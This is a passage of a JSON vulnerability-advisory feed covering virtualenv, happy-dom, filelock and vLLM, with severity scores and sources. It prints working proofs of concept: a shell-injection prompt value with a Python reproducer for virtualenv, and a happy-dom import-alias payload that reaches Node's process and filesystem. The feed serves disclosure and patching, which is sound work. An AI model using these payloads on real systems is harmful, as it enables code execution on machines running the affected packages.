2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113718&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113718, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113723","cveId":"CVE-2026-113723","aliases":["GHSA-6w3r-xr62-4xcp"],"kind":"vulnerability","title":"virtualenv: Bash prompt values can change meaning under older compatibility modes","summary":"Caller-supplied prompt text can become executable syntax in the bash activation prompt. An attacker must influence the\nvalue passed to virtualenv, and a user must subsequently activate the environment and draw the prompt.\n\nBash runs with compatibility level 4.2 and draws the environment prompt. Its replacement-string behavior differs from\nnewer compatibility modes, leaving prompt text subject to a second interpretation. The report concerns POSIX activation.\nIt does not establish exposure through unrelated activators.","detail":"## Summary\n\nCaller-supplied prompt text can become executable syntax in the bash activation prompt. An attacker must influence the\nvalue passed to virtualenv, and a user must subsequently activate the environment and draw the prompt.\n\n## Affected area\n\nBash runs with compatibility level 4.2 and draws the environment prompt. Its replacement-string behavior differs from\nnewer compatibility modes, leaving prompt text subject to a second interpretation. The report concerns POSIX activation.\nIt does not establish exposure through unrelated activators.\n\n## Attacker-controlled input\n\nThe attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated\nactivation script.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[bash prompt assembly](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/bash/activate.sh).\n\n## Mechanism\n\n`bin/activate` copies the prompt into `PS1`. A shell expands `PS1` again when it draws a prompt, so the value must\nsurvive both the assignment and that later expansion. The bash and zsh branches escape for their usual prompt rules.\nThree other paths still interpret prompt data as commands: dash sourcing `activate` directly, a child dash inheriting an\nexported `PS1` from bash, and bash running at compatibility level 4.2 or lower. A value such as `x$(touch MARKER)y` then\nruns `touch` on prompt display. Creating the environment does not run the payload.\n\n## Reproduction and evidence\n\nThe scanner's child-shell reproducer creates an environment with `--prompt 'x$(touch MARKER)y'`, sources `bin/activate`\nin interactive bash, and starts interactive `sh` (dash). Its control leaves `PS1` unexported: neither shell creates\n`MARKER`. With `PS1` exported, bash displays the prompt without executing the value, but the child dash creates\n`MARKER`; the reproducer ends in `BUG`. The report gives separate console reproductions for direct dash activation and\nbash compatibility level 4.2. The child-shell path can arise after another environment's activation has exported `PS1`.\n\nThe scanner linked this finding to [#3326](https://github.com/pypa/virtualenv/pull/3326) and its follow-up #3390. Those\nchanges cover the usual bash path but leave the three paths above. The proposed change in\n[#3418](https://github.com/pypa/virtualenv/pull/3418) keeps a variable reference in `PS1`, so prompt text is expanded as\ndata when drawn. The private report's reproducer was run by the scanner; the later command-execution result was supplied\nby the maintainer review. This advisory does not claim that every POSIX shell or every bash mode is affected.\n\n## Introduced\n\nThe report traces direct dash sourcing to the first 20.x activator (20.0.0b1), and inherited `PS1` to #3390 (first\nreleased in 21.14.7). It demonstrates the compatibility-level case on bash 5.2. Those historical boundaries come from\nthe report; the release confirmed by the maintainer is 21.14.8.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prompt supplier\n participant V as virtualenv\n participant B as Interactive bash\n participant D as Child dash\n A->>V: --prompt x$(touch MARKER)y\n V->>B: generated bin/activate\n B->>B: assign escaped prompt to PS1\n alt PS1 is not exported\n B->>D: start sh with its own PS1\n D-->>B: marker absent\n else PS1 is exported\n B->>D: start sh with inherited PS1\n D->>D: expand $(touch MARKER) on prompt draw\n D-->>B: marker created\n end\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-1MOI2X3T`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport shutil\nimport subprocess\nfrom pathlib import Path\n\nwork = Path(\"/tmp/repro-inherited-ps1\")\nshutil.rmtree(work, ignore_errors=True)\nwork.mkdir()\nmarker = work / \"MARKER\"\nprint(\"sh is\", Path(\"/bin/sh\").resolve())\n\n# attacker: only the text a tool such as tox or hatch relays as --prompt\nhostile_prompt = f\"x$(touch {marker})y\"\n\n# set up: the environment, made with the virtualenv command\nsubprocess.run(\n [\"virtualenv\", \"--no-periodic-update\", \"--without-pip\", \"--activators\", \"bash\",\n \"--prompt\", hostile_prompt, str(work / \"env\")],\n check=True, stdout=subprocess.DEVNULL,\n)\nassert not marker.exists(), \"creating the environment must not run the prompt\"\n\n# user: in an interactive bash, source bin/activate, then start sh.\n# -i makes both shells draw their prompt although stdin is not a terminal; sh draws one, reads EOF and returns\nsession = Path(\"/tmp/repro.d/user_session.sh\").read_text()\ninteractive_bash = [\"bash\", \"--norc\", \"--noprofile\", \"-i\"]\n\n# control: PS1 set in bash but not exported, so sh does not inherit it\ncontrol = subprocess.run(interactive_bash, input=\"PS1='\\\\$ '\\n\" + session,\n stderr=subprocess.PIPE, text=True, check=True)\nprint(control.stderr)\nran_in_control = marker.exists()\nprint(\"CONTROL PS1 not exported: marker created:\", ran_in_control)\n\n# attack: the same session with the one difference that PS1 is exported\nattack = subprocess.run(interactive_bash, input=\"export PS1='\\\\$ '\\n\" + session,\n stderr=subprocess.PIPE, text=True, check=True)\nprint(attack.stderr)\nran_in_attack = marker.exists()\nprint(\"OBSERVED PS1 exported: marker created:\", ran_in_attack)\n\n# check: the prompt text must be drawn, never run, by every shell that draws it\nprint(\"BUG\" if ran_in_attack and not ran_in_control else \"OK\")\n```\n\n**`repro.d/user_session.sh`**\n\n```text\n. /tmp/repro-inherited-ps1/env/bin/activate\nsh -i </dev/null\n```\n\n## Impact\n\nAn affected activation can execute commands with the user's privileges. Severity is high, following the generated-script\nprecedent in [GHSA-p58f-9548-mpm2](https\n\nAffected package ranges reported by GitHub:\nvirtualenv: < 21.14.9","action":"GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T22:21:57.000Z","updatedAt":"2026-10-23T22:21:58.000Z","regions":["Global"],"vendor":null,"product":"virtualenv","stacks":["Python packages (PyPI)","virtualenv","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-6w3r-xr62-4xcp","asOf":"2026-10-23T22:21:58.000Z"},"epss":{"probability":0.00177,"percentile":0.07253,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113723&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-6w3r-xr62-4xcp","url":"https://github.com/advisories/GHSA-6w3r-xr62-4xcp","type":"primary","publishedAt":"2026-10-23T22:21:57.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-6w3r-xr62-4xcp, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-113723","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113723","type":"primary","publishedAt":"2026-10-20T20:17:18.967Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113723&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113723, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115895","cveId":"CVE-2026-115895","aliases":["GHSA-834v-8h66-3h79"],"kind":"vulnerability","title":"Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution","summary":"The ESM compiler in `happy-dom@20.14.5` does not validate imported local binding aliases before interpolating them into generated JavaScript.\n\nAs a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.","detail":"## Summary\n\nThe ESM compiler in `happy-dom@20.14.5` does not validate imported local binding aliases before interpolating them into generated JavaScript.\n\nAs a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.\n\nThis appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates `importName` in the local `export { ... }` handler, but the named import handler still places an unvalidated `alias` directly into code context.\n\nThese issues were confirmed through the public `Window` and ` ` APIs using the published `happy-dom` npm package. The PoC reaches the Node.js host `process`, obtains `node:fs`, and creates a proof directory on the host filesystem.\n\n## Confirmed affected versions\n\nThe PoC was directly tested against:\n\n- `happy-dom@17.0.0`\n- `happy-dom@20.0.0`\n- `happy-dom@20.1.0`\n- `happy-dom@20.14.5`\n\nThe same PoC does not trigger on `happy-dom@16.8.1`.\n\nThe ESM compiler was introduced by commit `7bc831df2`, first released in `v17.0.0`. The vulnerable interpolation remains present through `v20.14.5`, the latest release at the time of testing.\n\nSuggested affected range:\n\n```text\n>= 17.0.0, \n property.alias\n ? `\"${property.name}\": ${property.alias}`\n : property.name\n )\n .join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;\n```\n\nConsider the following source:\n\n```js\nimport {\n missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337\n} from './dep.json' with { type: 'json' };\n```\n\nThis is invalid ECMAScript module syntax. Node.js rejects it at the `=` token.\n\nHappy DOM instead transforms it into the equivalent of:\n\n```js\nlet {\n \"missing\": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337\n} = $happy_dom.imports.get('https://poc.local/dep.json');\n```\n\nThis generated JavaScript is valid. Because the imported JSON object does not contain a `missing` property, the default initializer executes.\n\nThe `with { type: 'json' }` attribute is relevant because the compiler only generates its circular import resolver for ESM imports:\n\n```ts\nif (!match[7] || match[7] === 'esm') {\n resolvableCircularImports.push({ url, properties });\n}\n```\n\nUsing a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid.\n\nBacktick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs:\n\n```js\nglobalThis.constructor.constructor(`return process`)()\n .getBuiltinModule(`node:fs`)\n .mkdirSync(\n globalThis.constructor.constructor(`return process`)().cwd() +\n `/HAPPY_DOM_RCE_PROOF`\n )\n```\n\n## Proof of concept\n\nThe following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named `HAPPY_DOM_RCE_PROOF`.\n\n### 1. Create `package.json`\n\n```json\n{\n \"name\": \"happy-dom-import-alias-rce-poc\",\n \"private\": true,\n \"type\": \"module\",\n \"dependencies\": {\n \"happy-dom\": \"20.14.5\"\n }\n}\n```\n\n### 2. Create `dep.json`\n\n```json\n{}\n```\n\n### 3. Create `payload.mjs`\n\nThis file is used as a control to demonstrate that a native ECMAScript parser rejects the source:\n\n```js\nimport {\n missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337\n} from './dep.json' with { type: 'json' };\n```\n\n### 4. Create `poc.mjs`\n\n```js\nimport { Window } from 'happy-dom';\nimport { existsSync, rmSync } from 'node:fs';\nimport { resolve } from 'node:path';\n\nconst proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');\nrmSync(proofDirectory, { recursive: true, force: true });\n\nconst window = new Window({\n url: 'https://poc.local/',\n settings: {\n enableJavaScriptEvaluation: true,\n suppressCodeGenerationFromStringsWarning: true,\n fetch: {\n virtualServers: [\n {\n url: 'https://poc.local/',\n directory: process.cwd()\n }\n ]\n }\n }\n});\n\nconst script = window.document.createElement('script');\nscript.type = 'module';\n\nscript.textContent = `\n import {\n missing as injected = globalThis.constructor.constructor(\\`return process\\`)()\n .getBuiltinModule(\\`node:fs\\`)\n .mkdirSync(\n globalThis.constructor.constructor(\\`return process\\`)().cwd() +\n \\`/HAPPY_DOM_RCE_PROOF\\`\n )\n } from './dep.json' with { type: 'json' };\n`;\n\nwindow.document.body.appendChild(script);\nawait window.happyDOM.waitUntilComplete();\n\nif (!existsSync(proofDirectory)) {\n console.error('[-] Exploit failed: proof directory was not created.');\n console.error(\n window.happyDOM.virtualConsolePrinter.readAsString()\n );\n process.exitCode = 1;\n} else {\n console.log(`[+] Host filesystem reached: ${proofDirectory}`);\n}\n\nawait window.happyDOM.close();\n```\n\n### 5. Run the control test\n\n```console\nnpm install\nnode --check payload.mjs\n```\n\nExpected result:\n\n```text\nSyntaxError: Unexpected token '='\n```\n\nThis confirms that the source is not valid ESM.\n\n### 6. Run the Happy DOM PoC\n\n```console\nnode poc.mjs\n```\n\nExpected result:\n\n```text\n[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF\n```\n\nThe existence of `HAPPY_DOM_RCE_PROOF` confirms that the expression injected through the import alias executed and reached the host filesystem.\n\nThe PoC was also verified inside a `node:24-alpine` Docker container, where it created:\n\n```text\n/poc/HAPPY_DOM_RCE_PROOF\n```\n\n## Impact\n\nAn attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript.\n\nThis may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected.\n\nThe demonstrated payload reaches Node.js `process` and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process.\n\n## Relationship to CVE-2026-33943\n\nCVE-2026-33943 covers expression injection through a local export declaration:\n\n```js\nexport { attacker_expression }\n```\n\nIts fix\n\nAffected package ranges reported by GitHub:\nhappy-dom: >= 17.0.0, <= 21.0.3","action":"GitHub lists first patched versions: happy-dom: 21.0.4. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T22:06:13.000Z","updatedAt":"2026-10-23T22:16:58.987Z","regions":["Global"],"vendor":null,"product":"happy-dom","stacks":["JavaScript packages (npm)","happy-dom","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115895","asOf":"2026-10-23T22:16:58.987Z"},"epss":{"probability":0.00367,"percentile":0.30248,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115895&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-834v-8h66-3h79","url":"https://github.com/advisories/GHSA-834v-8h66-3h79","type":"primary","publishedAt":"2026-10-23T22:06:13.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-834v-8h66-3h79, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-115895","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115895","type":"primary","publishedAt":"2026-10-23T22:16:58.987Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115895&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115895, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112940","cveId":"CVE-2026-112940","aliases":["GHSA-v4x8-3wr5-3wq8"],"kind":"vulnerability","title":"filelock ReadWriteLock: SQLite reopens the lock database by name, so a planted symlink or journal file makes the lock user's process overwrite or unlink its own files","summary":"`ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) hand SQLite a name they do not control. On Linux the lock validates its database through a descriptor (the number the kernel gives a process for an open file). It then connects SQLite to `/proc/self/fd/ `, a Linux path that names the process's own open file `n`. SQLite turns that path back into a plain path and reopens it by name, following symlinks (a symlink is a file that points at another path). On every POSIX route SQLite also acts on `-journal`, `-wal` and `-shm` files it finds beside that name. Those are SQLite's side files: the rollback journal (pages saved to undo an interrupted write), the write-ahead log or WAL (changes kept outside the main file), and the shared-memory index for the WAL.\n\nAnother local user who can create or rename entries in the directory that holds the lock database can turn this against the user running the lock (below: the lock user). Such a directory is a `0777` or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). That other user can make the lock user's ordinary `read_lock()` or `write_lock()` write bytes of the other user's choosing into the lock user's own files. The same position lets the other user make that call create or unlink files of the lock user, admit a reader beside a writer, or kill the holder. All of this runs with the lock user's privileges. In a sticky directory such as `/tmp` a planted `-wal` file makes every acquire fail. Affected versions are filelock 3.20.4 through 4.2.0 (the `/proc/self/fd` redirect since 4.0.9, the side-file variants since 3.20.4).","detail":"`ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) hand SQLite a name they do not control. On Linux the lock validates its database through a descriptor (the number the kernel gives a process for an open file). It then connects SQLite to `/proc/self/fd/ `, a Linux path that names the process's own open file `n`. SQLite turns that path back into a plain path and reopens it by name, following symlinks (a symlink is a file that points at another path). On every POSIX route SQLite also acts on `-journal`, `-wal` and `-shm` files it finds beside that name. Those are SQLite's side files: the rollback journal (pages saved to undo an interrupted write), the write-ahead log or WAL (changes kept outside the main file), and the shared-memory index for the WAL.\n\nAnother local user who can create or rename entries in the directory that holds the lock database can turn this against the user running the lock (below: the lock user). Such a directory is a `0777` or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). That other user can make the lock user's ordinary `read_lock()` or `write_lock()` write bytes of the other user's choosing into the lock user's own files. The same position lets the other user make that call create or unlink files of the lock user, admit a reader beside a writer, or kill the holder. All of this runs with the lock user's privileges. In a sticky directory such as `/tmp` a planted `-wal` file makes every acquire fail. Affected versions are filelock 3.20.4 through 4.2.0 (the `/proc/self/fd` redirect since 4.0.9, the side-file variants since 3.20.4).\n\nAnthropic's OSS Scanner reported this in private as `ANT-2026-KMJ2575J` [high, CWE-363]: ReadWriteLock: SQLite still follows planted symlinks, overwriting files.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` scores 7.1 (High).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:L` (low attack complexity): the planted-journal variant needs no race, and the redirect won 77 of 77 attempts. `I:H` (high integrity impact): the other user writes bytes of their choosing into files of the lock user and unlinks files of their choosing. `A:H` (high availability impact): the other user makes every acquire fail or kills the lock holder. `C:N` (no confidentiality impact): the other user learns nothing. `S:U` (scope unchanged): the effect stays within the lock user's own privileges.\n\nClassification from the external review: **conditional security**, a cross-user effect that exists only when another user can change names in the lock database's directory. The review notes that the 77/77 inotify result (inotify is a Linux interface that reports file events) is stronger evidence than a theoretical TOCTOU (a time-of-check to time-of-use race). The scanner rated it high. The review accepts the mechanism and narrows it to that precondition.\n\n## Scope and preconditions\n\n- The other party is a different local account that can create or rename entries in the directory that holds the lock database. That is a `0777` directory or a group-writable one (including a setgid `2775` project directory shared with that account), in each case without the sticky bit. The lock user's lock must be able to open the database read-write, so a database the other user creates is `0666`. filelock itself creates the database `0600`.\n- Sticky directories (`/tmp`, `/var/tmp`, any `1777` directory) narrow the finding rather than exclude it. The redirect and the journal replay do not reach a database the lock user owns there (tested with `fs.protected_regular=2`). What remains is a planted non-empty ` -wal` (any mode; a directory or FIFO works too) that the lock user cannot unlink. It makes every acquire raise `sqlite3.OperationalError: disk I/O error`. A hard link (a second name for the same file) to a file of the lock user at the lock path also remains, if `fs.protected_hardlinks=0`.\n- Two kernel settings matter. `fs.protected_regular` (1 or 2 is the systemd default on most distributions; the kernel's own default is 0) keeps a user from opening a file another user owns in a sticky world-writable directory. Where it is 0, the other user can own the database in `/tmp`, and SQLite follows a planted symlink itself (not tested). `fs.protected_hardlinks=1` (most distributions; kernel default 0) blocks a hard link of a lock user's file onto the lock path. Neither setting affects a non-sticky shared directory.\n- Platform and route. The `/proc/self/fd` redirect is Linux with `/proc` mounted, 4.0.9 and later. The side-file variants (`-journal`, `-wal`, `-shm`) exist on every POSIX route. On the hard-link route (macOS since 4.1.1 for every connection, Linux without `/proc`) they need the link-directory swap described under \"Mechanism\", so a non-sticky parent. Neither the scanner nor the review executed on macOS; the statement rests on the platform branch and the identical code after it. Windows does not take this path.\n- Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename an entry in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit `b831496b0273`: [`_connect_through_descriptor` builds `/proc/self/fd/ ` and hands it to `sqlite3.connect`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L982-L1001). The assumption is the [comment at line 63](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L63), \"Descri\n\nAffected package ranges reported by GitHub:\nfilelock: >= 3.20.4, <= 4.2.0","action":"GitHub lists first patched versions: filelock: 4.2.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T21:59:08.000Z","updatedAt":"2026-10-23T21:59:11.000Z","regions":["Global"],"vendor":"tox-dev","product":"filelock","stacks":["Python packages (PyPI)","filelock","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://github.com/advisories/GHSA-v4x8-3wr5-3wq8","asOf":"2026-10-23T21:59:11.000Z"},"epss":{"probability":0.0019,"percentile":0.08619,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112940&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-v4x8-3wr5-3wq8","url":"https://github.com/advisories/GHSA-v4x8-3wr5-3wq8","type":"primary","publishedAt":"2026-10-23T21:59:08.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-v4x8-3wr5-3wq8, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-112940","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112940","type":"primary","publishedAt":"2026-10-20T15:17:16.827Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-v4x8-3wr5-3wq8","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112940&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112940, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114055","cveId":"CVE-2026-114055","aliases":["GHSA-gx7p-2j49-hfq4"],"kind":"vulnerability","title":"vLLM : DoS via unvalidated mm_processor_kwargs in multimodal image processors (Isaac, InternVL, H2OVL, etc.)","summary":"API clients can supply arbitrary `mm_processor_kwargs` per request. vLLM\nforwards these values through the multimodal rendering and processing pipeline\nto Hugging Face and custom image/video processor constructors and calls.\nResource-sensitive values such as image size, patch size, patch count, crop\ncount, or frame count can therefore be controlled by a remote client.\n\nFor processors that upscale inputs, a single request can force an allocation\nlarge enough to terminate the API server or worker with an out-of-memory\ncondition.","detail":"## Summary\n\nAPI clients can supply arbitrary `mm_processor_kwargs` per request. vLLM\nforwards these values through the multimodal rendering and processing pipeline\nto Hugging Face and custom image/video processor constructors and calls.\nResource-sensitive values such as image size, patch size, patch count, crop\ncount, or frame count can therefore be controlled by a remote client.\n\nFor processors that upscale inputs, a single request can force an allocation\nlarge enough to terminate the API server or worker with an out-of-memory\ncondition.\n\n## Affected Components\n\nThe per-request field was introduced in commit\n`041e29471671a3d43afedb6a749421d56ef4d3e7` and first shipped in v0.7.3.\nThe generic forwarding path remains present in current `main`.\n\nThe Isaac path is a concrete high-amplification example:\n\n- `ChatCompletionRequest.mm_processor_kwargs`\n- `OnlineRenderer` request extras\n- `MMProcessorInputs.hf_processor_mm_kwargs`\n- `BaseMultiModalProcessor.info.get_hf_processor(**hf_processor_mm_kwargs)`\n- `IsaacProcessingInfo.get_image_processor(**kwargs)`\n- `IsaacImageProcessor(**kwargs)`\n- `process_vision_for_patches()`\n\nEquivalent constructor forwarding exists in InternVL-derived processors,\nH2OVL, Step3VL, NemotronVL, and other multimodal processors. The issue is at\nthe shared remote-input boundary and is not limited to a fixed model list.\n\n## Impact\n\n- **Availability:** one request can exhaust CPU or GPU memory and terminate a\n shared service process.\n- **Scope:** all users of the affected service instance lose availability.\n- **Authentication:** vLLM's API key is optional, so deployments without an\n external authentication layer are remotely reachable without privileges.\n\n## Remediation\n\nReject non-empty per-request `mm_processor_kwargs` at every API-server request\nschema by default. Operators serving only trusted clients can explicitly opt\nin to the existing override behavior. Server-level `--mm-processor-kwargs` and\noffline `LLM` overrides remain available.\n\nThis shared boundary covers current and future multimodal processors instead\nof maintaining a model-specific list or a denylist that can miss custom\nprocessor arguments.\n\nA patch for this was merged here: https://github.com/vllm-project/vllm/pull/58830\n\nAffected package ranges reported by GitHub:\nvllm: >= 0.7.3, < 0.31.0","action":"GitHub lists first patched versions: vllm: 0.31.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T20:58:36.000Z","updatedAt":"2026-10-23T20:58:38.000Z","regions":["Global"],"vendor":null,"product":"vllm","stacks":["vLLM","Python packages (PyPI)","vllm","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://github.com/advisories/GHSA-gx7p-2j49-hfq4","asOf":"2026-10-23T20:58:38.000Z"},"epss":{"probability":0.0042,"percentile":0.36011,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114055&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory 